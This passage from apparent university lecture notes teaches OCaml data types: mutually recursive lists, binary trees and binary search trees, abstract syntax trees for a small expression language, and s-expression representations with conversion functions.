ss;; - : string myList = Cons ("ad", Cons ("an", Cons ("at", Nil))) Data type declarations may be mutually recursive if they are glued together with and. For example, here is the definition of data types and constructors for lists of even length and odd length: # type 'a evenList = ENil | ECons of 'a * ('a oddList) and 'a oddList = OCons of 'a * ('a evenList);; type 'a evenList = ENil | ECons of 'a * 'a oddList type 'a oddList = OCons of 'a * 'a evenList # OCons(2, ECons(3, OCons(5, ENil)));; - : int oddList = OCons (2, ECons (3, OCons (5, ENil))) # ECons(2, ENil);; Characters 9-13: ECons(2, ENil); ^^^^^ This expression has type 'a evenList but is here used with type int oddList The last example shows that the type system cannot be fooled by declaring an odd-length list to have even length. Sometimes it is helpful for data type declarations to have multiple type parameters. These must be enclosed in parenthesis and separated by commas. For example: # type ('a,'b) swaplist = SNil | SCons of 'a * (('b,'a) swaplist);; type ('a,'b) swaplist = SNil | SCons of 'a * ('b,'a) swaplist # let alts = SCons(1, SCons(true, SCons(2, SCons(false, SNil))));; val alts : (int, bool) swaplist = SCons (1, SCons (true, SCons (2, SCons (false, SNil)))) # let stail xs = match xs with | SNil -> raise (Failure "attempt to take tail of empty swaplist") | SCons(x, xs') -> xs';; val stail : ('a, 'b) swaplist -> ('b, 'a) swaplist = <fun> # stail alts;; - : (bool, int) swaplist = SCons (true, SCons (2, SCons (false, SNil))) # let srev xs = let rec loop olds news = match olds with | SNil -> news | SCons(x,xs') -> loop xs' (SCons(x,news)) in loop xs SNil;; val srev : ('a, 'a) swaplist -> ('a, 'a) swaplist = <fun> Note that the OCAML type reconstruction process forces both swaplist type parameters to be the same. Intuitively, this is because the type of the first element of the reversed list depends on whether the list length is even or odd. When these two types are unified, srev works on any length of list. # srev alts;; Characters 5-9: srev alts;; ^^^^^ This expression has type (int, bool) swaplist but is here used with type (int, int) swaplist Invoking srev on alts fails because it has type (int, bool) swaplist, which is not match the form ('a, 'a) swaplist. However, we can use srev on lists that do match this form: # srev (SCons(true, SCons(false, SNil)));; - : (bool, bool) swaplist = SCons (false, SCons (true, SNil)) # srev (SCons(1, SCons(2, SCons(3, SNil))));; - : (int, int) swaplist = SCons (3, SCons (2, SCons (1, SNil))) Data type declarations are different from type abbreviations, even though both are are introduced via the type keyword. Consider the following: # type 'a doubloon1 = 'a * 'a;; (* Type abbreviation *) type 'a doubloon1 = 'a * 'a # type 'a doubloon2 = Doubloon of 'a * 'a;; (* Data type declaration *) type 'a doubloon2 = Doubloon of 'a * 'a The presence of the capitalized constructor name Doubloon (as well as the keyword of\(^1\)) is the syntactic marker that indicates that doubloon2 is a sum-of-products data type rather than a type abbreviation. Recall that constructor names must be capitalized in OCAML. Note that doubloon2 is an example of a data type with just a single constructor. Such data types can be useful as a simple data abstraction mechanism in cases where it is desirable to distinguish representations that happen to have the same concrete type.\(^2\) For example: # let swap1 ((x,y) : 'a doubloon1) = (y, x);; val swap1 : 'a doubloon1 -> 'a * 'a = <fun> # let swap2 d = match d with Doubloon (x,y) -> Doubloon (y,x);; val swap2 : 'a doubloon2 -> 'a doubloon2 = <fun> # swap1 (1,2); - : int * int = (2, 1) # swap2 (Doubloon(1,2));; - : int doubloon2 = Doubloon (2, 1) \(^1\)The of keyword is not required for nullary constructors, such as None in the option data type. \(^2\)However, this is a very crude form of abstraction, since the concrete representation can be manipulated via pattern matching. For true data abstraction, the module mechanism described in Handout #23 should be used. 2 Binary Trees 2.1 Background A classic example of a parameterized recursive data type is the binary tree. A binary tree is either (1) a leaf or (2) a node with a left subtree, value, and right subtree. Here is a depiction of a sample binary tree: The depiction is more compact if we put each value in the node position and use • for each leaf: The notation is even more compact if we do not draw the leaves: 2.2 Binary Trees in OCAML We can express the type of a binary tree in OCAML as follows: (* Binary tree datatype abstracted over type of node value *) ```ocaml type 'a bintree = Leaf | Node of 'a bintree * 'a * 'a bintree (* left subtree, value, right subtree *) ``` Here is how we create our sample binary tree of integers in OCAML: ```ocaml # let int_tree = Node(Node(Leaf, 2, Leaf), 4, Node(Node(Leaf, 1, Node(Leaf, 5, Leaf)), 6, Node(Leaf, 3, Leaf))); val int_tree : int bintree = Node (Node (Leaf, 2, Leaf), 4, Node (Node (Leaf, 1, Node (Leaf, 5, Leaf)), 6, Node (Leaf, 3, Leaf))) ``` Of course, we can create a binary tree of strings instead, such as: ```ocaml # let string_tree = Node(Node(Leaf, "like", Leaf), "green", Node(Node(Leaf, "eggs", Leaf), "and", Node(Leaf, "ham", Leaf))); val string_tree : string bintree = Node (Node (Leaf, "like", Leaf), "green", Node (Node (Leaf, "eggs", Leaf), "and", Node (Leaf, "ham", Leaf))) ``` Now we’ll define some simple functions that manipulate trees in Figs. 2–5. In each case we will use the `match` construct to test whether a given tree is a leaf or a node and to extract the components of the node. (* Returns number of nodes in tree *) # let rec nodes tr = match tr with | Leaf -> 0 | Node(l,v,r) -> 1 + (nodes l) + (nodes r); val nodes : 'a bintree -> int = <fun> # nodes int_tree;; - : int = 6 # nodes string_tree;; - : int = 5 (* Returns height of tree *) # let rec height tr = match tr with | Leaf -> 0 | Node(l,v,r) -> 1 + max (height l) (height r); val height : 'a bintree -> int = <fun> # height int_tree;; - : int = 4 # height string_tree;; - : int = 3 (* Returns sum of nodes in tree of integers *) # let rec sum tr = match tr with | Leaf -> 0 | Node(l,v,r) -> v + (sum l) + (sum r); val sum : int bintree -> int = <fun> # sum int_tree;; - : int = 21 Figure 2: Binary tree functions, part 1. (* Returns pre-order list of leaves *) # let rec prelist tr = match tr with Leaf -> [] | Node(l,v,r) -> v :: (prelist l) @ (prelist r);; val prelist : 'a bintree -> 'a list = <fun> # prelist int_tree;; - : int list = [4; 2; 6; 1; 5; 3] # prelist string_tree;; - : string list = ["green"; "like"; "and"; "eggs"; "ham"] (* Returns in-order list of leaves *) # let rec inlist tr = match tr with Leaf -> [] | Node(l,v,r) -> (inlist l) @ [v] @ (inlist r);; val inlist : 'a bintree -> 'a list = <fun> # inlist int_tree;; - : int list = [2; 4; 1; 5; 6; 3] # inlist string_tree;; - : string list = ["like"; "green"; "eggs"; "and"; "ham"] (* Returns post-order list of leaves *) # let rec postlist tr = match tr with Leaf -> [] | Node(l,v,r) -> (postlist l) @ (postlist r) @ [v];; val postlist : 'a bintree -> 'a list = <fun> # postlist int_tree;; - : int list = [2; 5; 1; 3; 6; 4] # postlist string_tree;; - : string list = ["like"; "eggs"; "ham"; "and"; "green"] Figure 3: Binary tree functions, part 2. (* Map a function over every value in a tree *) # let rec map f tr = match tr with Leaf -> Leaf | Node(l,v,r) -> Node(map f l, f v, map f r);; val map : ('a -> 'b) -> 'a bintree -> 'b bintree = <fun> # map (( * ) 10) int_tree;; - : int bintree = Node (Node (Leaf, 20, Leaf), 40, Node (Node (Leaf, 10, Node (Leaf, 50, Leaf)), 60, Node (Leaf, 30, Leaf))) # map String.uppercase string_tree;; - : string bintree = Node (Node (Leaf, "LIKE", Leaf), "GREEN", Node (Node (Leaf, "EGGS", Leaf), "AND", Node (Leaf, "HAM", Leaf))) # map String.length string_tree;; - : int bintree = Node (Node (Leaf, 4, Leaf), 5, Node (Node (Leaf, 4, Leaf), 3, Node (Leaf, 3, Leaf))) # map ((flip String.get) 0) string_tree;; - : char bintree = Node (Node (Leaf, 'l', Leaf), 'g', Node (Node (Leaf, 'e', Leaf), 'a', Node (Leaf, 'h', Leaf))) Figure 4: Binary tree functions, part 3. (* Divide/conquer/glue on trees *) # let rec fold glue lfval tr = match tr with Leaf -> lfval | Node(l,v,r) -> glue (fold glue lfval l) v (fold glue lfval r); val fold : ('a -> 'b -> 'a -> 'a) -> 'a -> 'b bintree -> 'a = <fun> (* Alternative definition *) # let sum = fold (fun l v r -> l + v + r) 0;; val sum : int bintree -> int = <fun> (* can define nodes, height similarly *) (* Alternative definition *) # let prelist tr = fold (fun l v r -> v :: l @ r) [] tr;; val prelist : 'a bintree -> 'a list = <fun> (* can define inlist, postlist similarly *) # let toString valToString tr = fold (fun l v r -> "(" ^ l ^ " " ^ (valToString v) ^ " " ^ r ^ ")") "*" tr;; val toString : ('a -> string) -> 'a bintree -> string = <fun> # toString string_of_int int_tree;; - : string = "((* 2 *) 4 ((* 1 (* 5 *)) 6 (* 3 *)))" # toString FunUtils.id string_tree;; - : string = "((* like *) green ((* eggs *) and (* ham *)))" Figure 5: Binary tree functions, part 4. 2.3 Binary Search Trees A common use of binary trees in practice is to implement binary search trees (BSTs). The BST condition holds at a non-leaf binary tree node if (1) all elements in the left subtree of the node are ≤ the node value and (2) all elements in the right subtree of the node are ≥ the node value. A tree is a BST if the BST condition holds at all non-leaf nodes in the tree. For example, below are some of the many possible BSTs containing the numbers 1 through 7. Note that a BST is not required to be balanced in any way. Fig. 6 presents a BSTSet module in which sets are represented as binary search trees. (This is the BSTSet module mentioned in the discussion of sets in Handout #23.) The combination of sum-of-product data types, pattern matching on these types, and higher-order functions makes this implementation remarkably concise. It is worthwhile for you to compare this implementation to a corresponding implementation in other languages, such as Java or C. module BSTSet : SET = struct open Bintree (* exports bintree datatype and functions from previous section *) type 'a set = 'a bintree let empty = Leaf let singleton x = Node(Leaf, x, Leaf) let rec insert x t = match t with | Leaf -> singleton x | Node(l,v,r) -> if x = v then t else if x < v then Node(insert x l, v, r) else Node(l, v, insert x r) let rec member x s = match s with | Leaf -> false | Node(l,v,r) -> if x = v then true else if x < v then member x l else member x r (* Assume called on non-empty tree *) let rec deleteMax t = match t with | Leaf -> raise (Failure "shouldn't happen") | Node(l,v,Leaf) -> (v, l) | Node(l,v,r) -> let (max, r') = deleteMax r in (max, Node(l,v,r')) let rec delete x s = match s with | Leaf -> Leaf | Node(l,v,Leaf) when v = x -> l | Node(Leaf,v,r) when v = x -> r | Node(l,v,r) -> if x = v then let (pred, l') = deleteMax l in Node(l', pred, r) else if x < v then Node(delete x l, v, r) else Node(l, v, delete x r) let rec toList s = inlist s let rec union s1 s2 = ListUtils.foldr insert s2 (postlist s1) (* In union and difference, postlist helps to preserve balance more than inlist or prelist in a foldr. For a foldl, prelist would be best. *) let rec intersection s1 s2 = ListUtils.foldr (fun x s -> if not (member x s2) then delete x s else s) s1 (inlist s1) let rec difference s1 s2 = ListUtils.foldr delete s1 (postlist s2) let rec fromList xs = ListUtils.foldr insert empty xs let rec toString eltToString s = StringUtils.listToStringeltToString (toList s) end Figure 6: An implementation of the SET signature using binary search trees. 3 Expression Trees The most common kind of trees that we will manipulate in this course are trees that represent the structure of programming language expressions (and other kinds of program phrases). Here we begin to explore some of the concepts and techniques used for describing and representing expressions. 3.1 Abstract Syntax Trees Fig. 7 describes (in English) the abstract structure of expressions for a simple expression language that we’ll call EL. There are two kinds of expressions in EL: integer expressions that denote integers, and boolean expressions that denote boolean truth values (i.e., true or false). <table> <thead> <tr> <th>Integer Expressions</th> </tr> </thead> <tbody> <tr> <td>An EL integer expression is one of:</td> </tr> <tr> <td>• an intlit — an integer literal (numeral) num;</td> </tr> <tr> <td>• a variable reference — a reference to an integer variable named name</td> </tr> <tr> <td>• an arithmetic operation — an application of a rator, in this case a binary arithmetic operator, to two integer rand expressions, where an arithmetic operator is one of:</td> </tr> <tr> <td>-- addition,</td> </tr> <tr> <td>-- subtraction,</td> </tr> <tr> <td>-- multiplication,</td> </tr> <tr> <td>-- division,</td> </tr> <tr> <td>-- remainder;</td> </tr> <tr> <td>• a conditional — a choice between integer then and else expressions determined by a boolean test expression.</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Integer Expressions</th> </tr> </thead> <tbody> <tr> <td>An EL boolean expression is one of:</td> </tr> <tr> <td>• a boollit — a boolean literal bool (i.e., a true or false constant);</td> </tr> <tr> <td>• a negation — the negation of a boolean expression negand;</td> </tr> <tr> <td>• a relational operation — an application of rator, in this case a binary relational operator, to two integer rand expressions, where a relational operator is one of:</td> </tr> <tr> <td>-- less-than,</td> </tr> <tr> <td>-- equal-to,</td> </tr> <tr> <td>-- greater-than;</td> </tr> <tr> <td>• a logical operation — an application of a rator, in this case a binary logical operator, to two boolean rand expressions, where a logical operator is one of:</td> </tr> <tr> <td>-- and,</td> </tr> <tr> <td>-- or.</td> </tr> </tbody> </table> Figure 7: An abstract grammar for EL programs. An integer expression in EL can be constructed out of various kinds of components. Some of the components, like integer literals, variable references, and arithmetic operators, are primitive — they cannot be broken down into subparts. Other components, such as arithmetic operations and 3 Numerals can be broken down into digits, but we will ignore this detail. conditional expressions, are **compound** — they are constructed out of constituent components. The components have names; e.g., the subparts of an arithmetic operation are the **rator** (short for “operator”) and two **rands** (short for “operands”), while the subexpressions of the conditional expression are the **test** expression, the **then** expression, and the **else** expression. Boolean expressions in EL are also either primitive (i.e., logical operators and boolean literals) or compound (negations, relational operations, and logical operations). The structural description in Fig. 7 constrains the ways in which integer and boolean expressions may be “wired together.” Boolean expressions can appear only as the test expression of a conditional, the negand of a negation, or the operands of a logical operation. Integer expressions can appear only as the operands of arithmetic or relation operations, or as the then or else expressions of a conditional. A specification of the allowed wiring patterns for the syntactic entities of a language is called a **grammar**. Fig. 7 is said to be an **abstract grammar** because it specifies the logical structure of the syntax but does not give any indication how individual expressions in the language are actually written down in a concrete form. Parsing an expression with an abstract grammar results in a value called an **abstract syntax tree** (AST). As we will see later, abstract syntax trees are easy to inspect and disassemble, making them ideal substrates for defining the meaning of program phrases in terms of their parts. Consider an EL expression that denotes 1 if the integer variable \( x \) has a value that is positive and not equal to the value of the integer variable \( y \), and otherwise denotes the product of the integer variables \( y \) and \( z \). The abstract syntax tree for this program appears in Fig. 8. Each node of the tree corresponds to a numerical or boolean expression. The leaves of the tree stand for primitive expressions, while the intermediate nodes represent compound expressions. The labeled edges from a parent node to its children show the relationship between a compound phrase and its components. The AST is defined purely in terms of these relationships; the particular way that the nodes and edges of a tree are arranged on the page is immaterial. ### 3.2 Data Types for Expressions We can easily recast any AST as a sum-of-product tree by dropping the edge labels and fixing the left-to-right order of components for compound nodes. For example, the AST from Fig. 8 can be expressed as the following sum-of-product tree: We have shortened many of the node labels to make the tree take less space. Based on this observation, we can describe any EL expressions using the following Ocaml data type declarations: ```ocaml type intExp = (* integer expressions *) | Intlit of int (* value *) | Varref of string (* name *) | Arithop of arithRator * intExp * intExp (* rator, rand1, rand2 *) | Cond of boolExp * intExp * intExp (* test, then, else *) and boolExp = (* boolean expressions *) | Boollit of bool (* value *) | Not of boolExp (* negand *) | Relop of relRator * intExp * intExp (* rator, rand1, rand2 *) | Logop of logRator * boolExp * boolExp (* rator, rand1, rand2 *) and arithRator = Add | Sub | Mul | Div | Rem (* arithmetic operators *) and relRator = LT | EQ | GT (* relational operators *) and logRator = And | Or (* logical operators *) ``` For instance, we can use these data types to express our example EL integer expression: ```ocaml Cond(Logop(And, Relop(GT, Varref "x", Intlit 0), Not(Relop(EQ, Varref "x", Varref "y"))), Intlit 1, Arithop(Mul, Varref "y", Varref "z")) ``` We will spend much of the rest of the semester studying how to manipulate expression trees. We’ll see that manipulating expressions trees is similar to the sorts of tree manipulation you’re familiar with from CS230. The main difference is that expression trees have many more kinds of nodes than the trees you’ve studied before. This means that you’ll need more cases (one per node label) when writing programs to manipulate expression trees. 4 S-Expressions 4.1 Motivation: The Parsing Problem Constructing trees using Ocaml data type constructors is rather verbose. In many cases, we’d prefer to have a more compact notation for our trees. For example, consider the binary tree: We can create this in OCAML using constructors: ```ocaml Node(Node(Leaf, 2, Leaf), 4, Node(Node(Leaf, 1, Node(Leaf, 5, Leaf)), 6, Node(Leaf, 3, Leaf))) ``` But we’d prefer to use more concise tree notations, like the following: ``` (* 2 *) 4 (* 1 (* 5 *)) 6 (* 3 *)); The ‘‘compact’’ notation ``` ``` (2) 4 ((1 (5)) 6 (3)); The ‘‘dense’’ notation ``` As another example, consider the sample EL integer expression tree from the previous page. Rather than express it via OCAML constructors, we’d like to use a more concise expression notation. Here are some examples: ``` if x>0 && !(x=y) then 1 else y*z ; Standard infix notation ``` ``` (if ((x > 0) && (! (x = y))) then 0 else (y * z)); Fully parenthesized infix notation ``` ``` x 0 > x y = ! && (1) (y z *) if; Postfix notation ``` ``` if && > x 0 ! = x y 1 * y z ; Prefix notation ``` ``` (if (&& (> x 0) (! (= x y))) 1 (* y z)); Fully parenthesized prefix notation ``` In all of these notations, we use the same abbreviated notations for constructors: if for Cond, ! for Not, && for logical operations with And, * for arithmetic operations with Mul, and > and = for relational operations with GT and EQ, respectively. The main difference between the above notations is (1) whether operations are written in prefix, infix, or postfix form; (2) whether operator precedence is determined by precedence rules or by requiring parenthesis; and (3) whether parentheses are optional or required for all compound expressions. To use any character-based notation for binary trees and EL expressions (either the verbose OCAML notation or the more concise notations considered above), it is necessary to decompose a character string using one of these notations into fundamental tokens and then parse these tokens into the desired OCAML constructor tree. The problem of transforming a linear character string into a constructor tree is called the parsing problem. In CS235, we studied a standard two-step solution to the parsing problem. 1. Define a lexical analyzer (a.k.a. lexer, scanner, or tokenizer) that decomposes a character string into tokens. Using a scanner generator like Lex, it is possible to describe the structure of the tokens at a high level and automatically generate the lexical analyzer from this description. 2. Define a parser that arranges tokens into trees according to a specification of the grammar of the language. Using a parser generator like Yacc, it is possible to automatically generate the parser from a description of the grammar along with rules for resolving any ambiguities in the grammar. We could adopt the same solution in this course, but then we would spend a lot of our time defining tokens and grammars and worrying about precedence rules and other distractions. So instead, we will adopt the following strategy: we will develop a standard parenthesized notation (known as s-expressions) for representing trees, and then use this standard notation to represent all trees (including all expression trees) throughout the rest of the course. This way we only need to define one scanner and one parser for the whole course. It will still be necessary to translate back and forth between general s-expression trees and particular OCAML constructor trees, but it is much easier to translate between different kinds of trees than to parse linear character strings to trees. 4.2 Overview of S-Expressions A symbolic expression (s-expression for short) is a simple notation for representing tree structures using linear text strings containing matched pairs of parentheses. Each leaf of a tree is an atom, which (to first approximation) is any sequence of characters that does not contain a left parenthesis ('('), a right parenthesis (')'), or a whitespace character (space, tab, newline, etc.). Examples of atoms include x, this-is-an-atom, anotherKindOfAtom, 17, 3.14159, 4/3*pi*r^2, a.b[2]%3, 'Q', and "a (string) atom". A node in an s-expression tree is represented by a pair of parentheses surrounding zero or s-expressions that represent the node’s subtrees. For example, the s-expression \[((this is) an ((example) (s-expression tree)))\] designates the structure depicted in Fig. 9. Whitespace is necessary for separating atoms that appear next to each other, but can be used liberally to enhance (or obscure!) the readability of the structure. Thus, the above s-expression could also be written as \[((this is) an ((example) (s-expression tree)))\] or (less readably) as \n\n\n\n4As we shall see, string and character literals can contain parentheses and whitespace characters. (this is an (example s-expression tree ) ) without changing the structure of the tree. S-expressions were pioneered in LISP as a notation for data as well as programs (which we have seen are just particular kinds of tree-shaped data!). We shall see that s-expressions are an exceptionally simple and elegant way of solving the parsing problem — translating string-based representations of data structures and programs into the tree structures they denote. For this reason, all the mini-languages we study later in this course have a concrete syntax based on s-expressions. The fact that LISP dialects (including SCHEME) have a built-in primitive for parsing s-expressions (read) and treating them as literals (quote) makes them particularly good for manipulating programs (in any language) written with s-expressions. It is not quite as convenient to manipulate s-expression program syntax in other languages, such as OCAML, but we shall see that it is still far easier than solving the parsing problem for more general notations. 4.3 Representing S-Expressions in OCAML As with any other kind of tree-shaped data, s-expressions can be represented in OCAML as values of an appropriate data type. The OCAML data type representing s-expression trees is presented in Fig. 10. ```ocaml type sexp = Int of int | Flt of float | Str of string | Chr of char | Sym of string | Seq of sexp list ``` Figure 10: OCAML s-expression data type. There are five kinds of atoms, distinguished by type; these are the leaves of s-expression trees: 1. integer literals, constructed via Int; 2. floating point literals, constructed via Flt; 3. string literals, constructed via Str; 4. character literals, constructed via Chr; and 5. symbols, which are name tokens (as distinguished from quoted strings), constructed via Sym. The nodes of s-expression trees are represented via the Seq constructor, whose sexp list argument denotes any number of s-expression subtrees. --- 5There are detractors who hate s-expressions and claim that LISP stands for Lots of Irritating Silly Parenthesis. Apparently such people lack a critical aesthetic gene that prevents them from appreciating beautiful designs. Strangely, many such people seem to prefer the far more verbose encoding of trees in XML notation discussed later in the course. Go figure! For example, consider the s-expression given by the concrete notation (stuff (17 3.14159) ("foo" 'c' bar)) which would be expressed in general tree notation as ``` stuff 17 3.14159 "foo" 'c' bar ``` This s-expression can be written in in OCAML as ``` Seq [Sym("stuff"); Seq [Int(17); Flt(3.14159)]; Seq [Str("foo"); Chr('c'); Sym("bar")]] ``` which corresponds to the following constructor tree: ``` Seq [ ] Sym stuff [ ] Int 17 Flt 3.14159 [ ] Str "foo" Chr 'c' Sym bar ``` In the constructor tree, nodes labeled [ ] represent lists whose elements are shown as the children of the node. Since it’s cumbersome to write such list nodes explicitly, we will often omit the explicit [ ] nodes and instead show Seq nodes as having any number of children: The Sexp module in `/cs251/utils/Sexp.ml` contains several handy utilities for manipulating sexp trees. In particular, it contains functions for parsing s-expression strings into sexp trees and for unparsing sexp trees into s-expression trees. The signature SEXP for the Sexp module is presented in Fig. 11. We will not study the implementation of the Sexp functions, but will use them as black boxes. Here are some sample invocations of functions from the Sexp module: ```ocaml # let s = Sexp.stringToSexp "(stuff (17 3.14159) ("foo\" 'c' bar))";; val s : Sexp.sexp = Sexp.Seq [Sexp.Sym "stuff"; Sexp.Seq [Sexp.Int 17; Sexp.Flt 3.14159]; Sexp.Seq [Sexp.Str "foo"; Sexp.Chr 'c'; Sexp.Sym "bar"]] # Sexp.sexpToString s;; - : string = "(stuff (17 3.14159) ("foo\" 'c' bar))" # Sexp.sexpToString' 20 s;; - : string = "(stuff (17 3.14159)\n (foo\" 'c'\n bar\n )\n )" # let ss = Sexp.stringToSexps "stuff (17 3.14159) ("foo\" 'c' bar)";; val ss : Sexp.sexp list = [Sexp.Sym "stuff"; Sexp.Seq [Sexp.Int 17; Sexp.Flt 3.14159]; Sexp.Seq [Sexp.Str "foo"; Sexp.Chr 'c'; Sexp.Sym "bar"]] # Sexp.sexpsToString ss;; - : string = "stuff\n (17 3.14159) ("foo\" 'c' bar)" # Sexp.readSexp();; (a b (c d e) (f (g h)) i) - : Sexp.sexp = Sexp.Seq [Sexp.Sym "a"; Sexp.Sym "b"; Sexp.Seq [Sexp.Sym "c"; Sexp.Sym "d"; Sexp.Sym "e"]; Sexp.Seq [Sexp.Sym "f"; Sexp.Seq [Sexp.Sym "g"; Sexp.Sym "h"]]; Sexp.Sym "i"] ``` 20 module type SEXP = sig (* The sexp type is exposed for the world to see *) type sexp = | Int of int | Flt of float | Str of string | Chr of char | Sym of string | Seq of sexp list exception IllFormedSexp of string (* This exception is used for all errors in s-expression manipulation *) val stringToSexp : string -> sexp (* (stringToSexp <str>) returns the sexp tree represented by the s-expression <str>. Raise an IllFormedSexp exception if <str> is not a valid s-expression string. *) val stringToSexps : string -> sexp list (* (stringToSexps <str>) returns the list of sexp trees represented by <str>, which is a string containing a sequence of s-expressions. Raise an IllFormedSexp exception if <str> not a valid representation of a sequence of s-expressions. *) val fileToSexp : string -> sexp (* (fileToSexp <filename>) returns the sexp tree represented by the s-expression contents of the file named by <filename>. Raises an IllFormedSexp exception if the file contents is not a valid s-expression. *) val fileToSexps : string -> sexp list (* (fileToSexps <filename>) returns the list of sexp trees represented by the contents of the file named by <filename>. Raises an IllFormedSexp exception if the file contents is not a valid representation of a sequence of s-expressions. *) val sexpToString : sexp -> string (* (sexpToString <sexp>) returns an s-expression string representing <sexp> *) val sexpToString' : int -> sexp -> string (* (sexpToString' <width> <sexp>) returns an s-expression string representing <sexp> in which an attempt is made for each line of the result to be <= <width> characters wide. *) val sexpsToString : sexp list -> string (* (sexpsToString <sexps>) returns string representations of the sexp trees in <sexps> separated by two newlines. *) val sexpToFile : sexp -> string -> unit (* (sexpsToFile <sexp> <filename>) writes a string representation of <sexp> to the file name <filename>. *) val readSexp : unit -> sexp (* Reads lines from standard input until a complete s-expression has been found, and returns the sexp tree for this s-expression. *) end Figure 11: The SEXP signature. 4.4 S-Expression Representations of Sum-of-Product Trees We will mainly use s-expressions for representing the trees implied by sum-of-product data type constructor invocations in a standard format. We will represent a tree node with tag \texttt{tag} and subtrees $t_1 \ldots t_n$ by an s-expression of the form: $$(tag \ <\text{s-expression for } t_1> \ldots <\text{s-expression for } t_n>)$$ For instance, consider the representations of \texttt{fig} values presented in Fig. 12. <table> <thead> <tr> <th>Constructor Invocation</th> <th>Circ 1.0</th> <th>Rect (2.0, 3.0)</th> <th>Tri(4.0, 5.0, 6.0)</th> </tr> </thead> <tbody> <tr> <td>Constructor Tree</td> <td><img src="image" alt="Circ 1.0" /></td> <td><img src="image" alt="Rect 2.0 3.0" /></td> <td><img src="image" alt="Tri 4.0 5.0 6.0" /></td> </tr> <tr> <td>S-expression Tree</td> <td><img src="image" alt="Seq Sym Circ Flt 1.0" /></td> <td><img src="image" alt="Seq Sym Rect Flt 2.0 3.0" /></td> <td><img src="image" alt="Seq Sym Tri Flt 4.0 5.0 6.0" /></td> </tr> <tr> <td>S-expression</td> <td>(Circ 1.0)</td> <td>(Rect 2.0 3.0)</td> <td>(Tri 4.0 5.0 6.0)</td> </tr> </tbody> </table> Figure 12: Representations of \texttt{fig} values. In order to use the s-expression representation of figures, we will need a way to convert between \texttt{fig} constructor trees and s-expression constructor trees: ```ml let toSexp fig = match fig with | Circ r -> Seq [Sym "Circ"; Flt r] | Rect (w,h) -> Seq [Sym "Rect"; Flt w; Flt h] | Tri (s1,s2,s3) -> Seq [Sym "Tri"; Flt s1; Flt s2; Flt s3] let fromSexp sexp = match sexp with | Seq [Sym "Circ"; Flt r] -> Circ r | Seq [Sym "Rect"; Flt w; Flt h] -> Rect (w,h) | Seq [Sym "Tri"; Flt s1; Flt s2; Flt s3] -> Tri (s1,s2,s3) | _ -> raise (Failure ("Fig.fromSexp -- can't handle sexp: " ^ (sexpToString sexp)))) ``` In what context would we use \texttt{toSexp} and \texttt{fromSexp}? In any context where we wish to interactively manipulated \texttt{fig} values specified in files or keyboard input from users. For example, suppose we want to interactively scale figures as shown below: Enter a scaling factor> 2.3 Enter a sequence of figures (in s-expression format) on one line> (Circ 1.0) (Rect 2.0 3.0) (Tri 4.0 5.0 6.0) Here are the scaled results: (Circ 2.3) (Rect 4.6 6.9) (Tri 9.2 11.5 13.8) - : unit = () Here's how we would defined interactiveScale in OCAML: ```ocaml let interactiveScale () = let _ = StringUtils.print "Enter a scaling factor> " in let s = read_float() (* standard function for reading a float from input *) in let _ = StringUtils.println "Enter a sequence of figures (in s-expression format) on one line> " in let line = read_line() (* standard function for reading line (as string) from input *) in let figs = map fromSexp (stringToSexps line) in let scaled_figs = map (scale s) figs in let _ = StringUtils.println "Here are the scaled results:" in for_each (fun fig -> StringUtils.println (sexpToString (toSexp fig))) scaled_figs ``` What about binary trees? Here is a binary tree example: ``` Node / \ Node 4 / \ Leaf 2 Leaf ``` Using the above conventions, this would be represented via the s-expression: ``` (Node (Node (Leaf) 2 (Leaf)) 4 (Node (Node (Leaf) 1 (Node (Leaf) 5 (Leaf))) 6 (Node (Leaf) 3 (Leaf))) ; Let's call this the "verbose" notation ``` Fig. 13 shows how to convert between this “verbose” s-expression notation and bintree values. But this is not a very compact representation! As mentioned above, we can often develop more compact representations for particular data types. For instance, here are other s-expressions representing the binary tree above: ``` ((* 2 *) 4 ((* 1 (* 5 *)) 6 (* 3 *))) ; The "compact" notation ((2) 4 ((1 (5)) 6 (3))) ; The "dense" notation ``` Figs. 14–15 show functions that convert between binary trees and these more concise s-expression notations. let rec toVerboseSexp eltToSexp tr = match tr with Leaf -> Seq [Sym "Leaf"] | Node(l,v,r) -> Seq [Sym "Node"; toVerboseSexp eltToSexp l; eltToSexp v; toVerboseSexp eltToSexp r] let rec fromVerboseSexp eltFromSexp sexp = match sexp with Seq [Sym "Leaf"] -> Leaf | Seq [Sym "Node"; leftx; valx; rightx] -> Node(fromVerboseSexp eltFromSexp leftx, eltFromSexp valx, fromVerboseSexp eltFromSexp rightx) | _ -> raise (Failure ("Bintree.fromVerboseSexp" ^ "-- can’t handle sexp:\n" ^ (sexpToString sexp))) Figure 13: Functions for converting between binary trees and verbose s-expressions. let rec toCompactSexp eltToSexp tr = match tr with | Leaf -> Sym "*" | Node(l,v,r) -> Seq [toCompactSexp eltToSexp l; eltToSexp v; toCompactSexp eltToSexp r] let rec fromCompactSexp eltFromSexp sexp = match sexp with | Sym "*" -> Leaf | Seq [leftx; valx; rightx] -> Node(fromCompactSexp eltFromSexp leftx, eltFromSexp valx, fromCompactSexp eltFromSexp rightx) | _ -> raise (Failure ("Bintree.fromCompactSexp" " -- can’t handle sexp:\n" ^ (sexpToString sexp))) Figure 14: Functions for converting between binary trees and compact s-expressions. let rec toDenseSexp eltToSexp s = match s with | Leaf -> Seq [] (* Special case for tree that’s a leaf *) | Node(Leaf,v,Leaf) -> Seq [eltToSexp v] | Node(l,v,Leaf) -> Seq [toDenseSexp eltToSexp l; eltToSexp v] | Node(Leaf,v,r) -> Seq [eltToSexp v; toDenseSexp eltToSexp r] | Node(l,v,r) -> Seq [toDenseSexp eltToSexp l; eltToSexp v; toDenseSexp eltToSexp r] let rec fromDenseSexp eltFromSexp sexp = match sexp with | Seq [] -> Leaf | Seq [valx] -> Node(Leaf, eltFromSexp valx, Leaf) | Seq [(Seq _) as leftx; valx] -> Node(fromDenseSexp eltFromSexp leftx, eltFromSexp valx, Leaf) | Seq [valx; (Seq _) as rightx] -> Node(Leaf, eltFromSexp valx, fromDenseSexp eltFromSexp rightx) | Seq [leftx; valx; rightx] -> Node(fromDenseSexp eltFromSexp leftx, eltFromSexp valx, fromDenseSexp eltFromSexp rightx) | _ -> raise (Failure ("Bintree.fromDenseSexp" " -- can’t handle sexp: " ^ (sexpToString sexp))) Figure 15: Functions for converting between binary trees and dense s-expressions.
